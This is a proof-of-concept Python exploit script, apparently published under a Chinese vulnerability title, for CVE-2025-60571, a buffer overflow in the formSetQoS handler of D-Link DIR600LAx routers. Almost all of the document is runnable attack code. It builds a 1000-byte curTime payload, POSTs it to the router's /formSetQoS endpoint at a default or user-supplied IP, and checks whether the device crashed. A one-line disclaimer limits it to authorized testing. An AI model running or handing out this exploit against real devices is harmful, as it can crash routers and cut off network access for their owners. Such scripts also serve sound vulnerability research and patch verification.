CVE-2025-60571 D-Link DIR600LAx formSetQoS缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-60571 PoC - D-Link DIR600LAx Buffer Overflow in formSetQoS This PoC demonstrates the buffer overflow vulnerability via the curTime parameter. Note: Use only for authorized security testing. """ import requests import sys target_ip = "192.168.0.1" # Default D-Link router IP target_port = 80 def exploit_buffer_overflow(): """Exploit the buffer overflow in formSetQoS function via curTime parameter""" # Generate payload with oversized curTime parameter # The exact overflow length may vary; this is a demonstration overflow_length = 1000 # Adjust based on actual vulnerable buffer size payload = "A" * overflow_length url = f"http://{target_ip}:{target_port}/formSetQoS" # Construct the malicious request data = { "curTime": payload, "submit-url": "/QoS.asp" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload)}") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[*] Exploit sent. Check if device has crashed or rebooted.") except requests.exceptions.Timeout: print("[-] Request timed out - device may have crashed") except requests.exceptions.ConnectionError: print("[-] Connection failed - device may be unresponsive") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": if len(sys.argv) > 1: target_ip = sys.argv[1] exploit_buffer_overflow()